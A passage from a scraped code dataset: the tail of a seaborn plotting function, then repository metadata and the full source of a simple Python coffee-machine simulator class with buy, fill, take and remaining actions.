plt.gca().twinx()\n ax2.plot(x, y,'g--')\n ax2.set_ylim(kwargs['ymax']*1.05, kwargs['ymin']*0.95)\n ax2.grid(False)\n\n g.map(plt.plot, x, y)\n g.map(mae_line, 'epoch', 'mae', ymin=ymin, ymax=ymax)\n g.set_axis_labels(x, y)\n g.fig.suptitle(title) # can also get the figure from plt.gcf()\n g.add_legend()\n \n for ax in g.axes.flatten():\n ax.set_ylim(lossmin, lossmax)\n \n plt.subplots_adjust(top=kwargs.get('top', 0.93))\n filename = filename if len(filename) > 0 else title\n plt.savefig('./images/{}.png'.format(filename))\n" } ]
2
Braisbethall/CoffeeMachine
https://github.com/Braisbethall/CoffeeMachine
b05eed513e7752e59f63474ece4105b8239691eb
5e61def7e6799d430d3149ba51e308075ed38780
907806e77f3138922ded3be70cbeff0362dc1055
refs/heads/main
2023-08-05T17:38:15.186384
2021-09-20T21:03:42
2021-09-20T21:03:42
408,187,775
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5698602795600891, "alphanum_fraction": 0.58549565076828, "avg_line_length": 34.35293960571289, "blob_id": "aef5ef849ec8dbd4db3ebf5ea8af57df32349e06", "content_id": "14d17acf9a2007827787928d5fc697196edcdb9b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3006, "license_type": "no_license", "max_line_length": 103, "num_lines": 85, "path": "/CoffeeMachine.py", "repo_name": "Braisbethall/CoffeeMachine", "src_encoding": "UTF-8", "text": "class CoffeeMachine:\n\n def __init__(self, current_water, current_milk, current_coffee_beans, current_cups, current_money):\n self.water = current_water\n self.milk = current_milk\n self.coffee_beans = current_coffee_beans\n self.cups = current_cups\n self.money = current_money\n\n def fill(self):\n print(\"Write how many ml of water you want to add:\")\n water_supply = int(input())\n print(\"Write how many ml of milk you want to add:\")\n milk_supply = int(input())\n print(\"Write how many grams of coffee beans you want to add:\")\n coffee_beans_supply = int(input())\n print(\"Write how many disposable coffee cups you want to add:\")\n cups_supply = int(input())\n self.water += water_supply\n self.milk += milk_supply\n self.coffee_beans += coffee_beans_supply\n self.cups += cups_supply\n\n def ingredient_check(self, needed_cups, needed_water, needed_milk, needed_coffee_beans):\n if self.cups < needed_cups:\n return \"cups\"\n elif self.water < needed_water:\n return \"water\"\n elif self.milk < needed_milk:\n return \"milk\"\n elif self.coffee_beans < needed_coffee_beans:\n return \"coffee beans\"\n else:\n return None\n\n def make_coffee(self, cups, water, milk, coffee_beans, money):\n if self.ingredient_check(cups, water, milk, coffee_beans):\n print(f\"Sorry, not enough {self.ingredient_check(cups, water, milk, coffee_beans)}!\")\n else:\n print(\"I have enough resources, making you a coffee!\")\n self.cups -= cups\n self.water -= water\n self.milk -= milk\n self.money += money\n self.coffee_beans -= coffee_beans\n\n def buy(self):\n print(\"What do you want to buy? 1 - espresso, 2 - latte, 3 - cappuccino, back - to main menu:\")\n purchase = input()\n if purchase == \"1\":\n self.make_coffee(1, 250, 0, 16, 4)\n elif purchase == \"2\":\n self.make_coffee(1, 350, 75, 20, 7)\n elif purchase == \"3\":\n self.make_coffee(1, 200, 100, 12, 6)\n elif purchase == \"back\":\n return\n\n def take(self):\n print(f\"I gave you ${self.money}\")\n self.money = 0\n\n def remaining(self):\n print(f\"\"\"The coffee machine has:\n{self.water} of water\n{self.milk} of milk\n{self.coffee_beans} of coffee beans\n{self.cups} of disposable cups\n${self.money} of money\"\"\")\n\n\nmy_coffee_machine = CoffeeMachine(400, 540, 120, 9, 550)\nprint(\"Write action (buy, fill, take, remaining, exit):\")\naction = input()\nwhile action != \"exit\":\n if action == \"buy\":\n my_coffee_machine.buy()\n elif action == \"fill\":\n my_coffee_machine.fill()\n elif action == \"take\":\n my_coffee_machine.take()\n elif action == \"remaining\":\n my_coffee_machine.remaining()\n print(\"Write action (buy, fill, take, remaining, exit):\")\n action = input()\n\n" } ]
1